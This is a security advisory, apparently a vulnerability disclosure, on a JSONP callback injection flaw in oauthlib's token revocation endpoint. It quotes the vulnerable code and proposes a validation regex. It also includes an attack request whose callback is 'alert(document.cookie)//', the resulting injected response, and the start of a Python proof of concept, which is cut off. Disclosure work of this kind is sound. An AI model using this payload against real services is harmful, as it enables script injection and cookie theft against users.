### Summary When `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`. ### Details The issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`. When `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter: ```python # Error response path (line 72-73): if self.enable_jsonp and request.callback: response_body = '{}({});'.format(request.callback, response_body) # Success response path (line 81-82): if self.enable_jsonp and request.callback: response_body = request.callback + '();' ``` The `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim. There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations. **How the injection works:** An attacker sends a revocation request with a crafted callback value: ``` POST /revoke HTTP/1.1 Content-Type: application/x-www-form-urlencoded token=anything&callback=alert(document.cookie)// ``` The server responds with: ``` alert(document.cookie)//({"error": "invalid_client"}); ``` This is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`. **Execution context and attack surface:** JSONP works by having a browser load a remote script via `<script src="...">`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `<script src="https://auth.example.com/revoke?token=x&callback=payload">` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context. The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `<script src>` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute. Note: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection. ### PoC **Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`). ```python from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint from oauthlib.oauth2.rfc6749.request_validator import RequestValidator class FailValidator(RequestValidator): """Auth fails -> triggers error response path (lines 72-73).""" def client_authentication_required(self, request, *a, **kw): return True def authenticate_client(self, request, *a, **kw): return False def authenticate_client_id(self, client_id, request, *a, **kw): return False class PassValidator(RequestValidator): """Auth passes -> triggers success response path (lines 81-82).""" def client_authentication_required(self, request, *a, **kw): return False def authenticate_client_id(self, client_id, request, *a, **kw): return True def revoke_token(self, token, token_type_hint, request,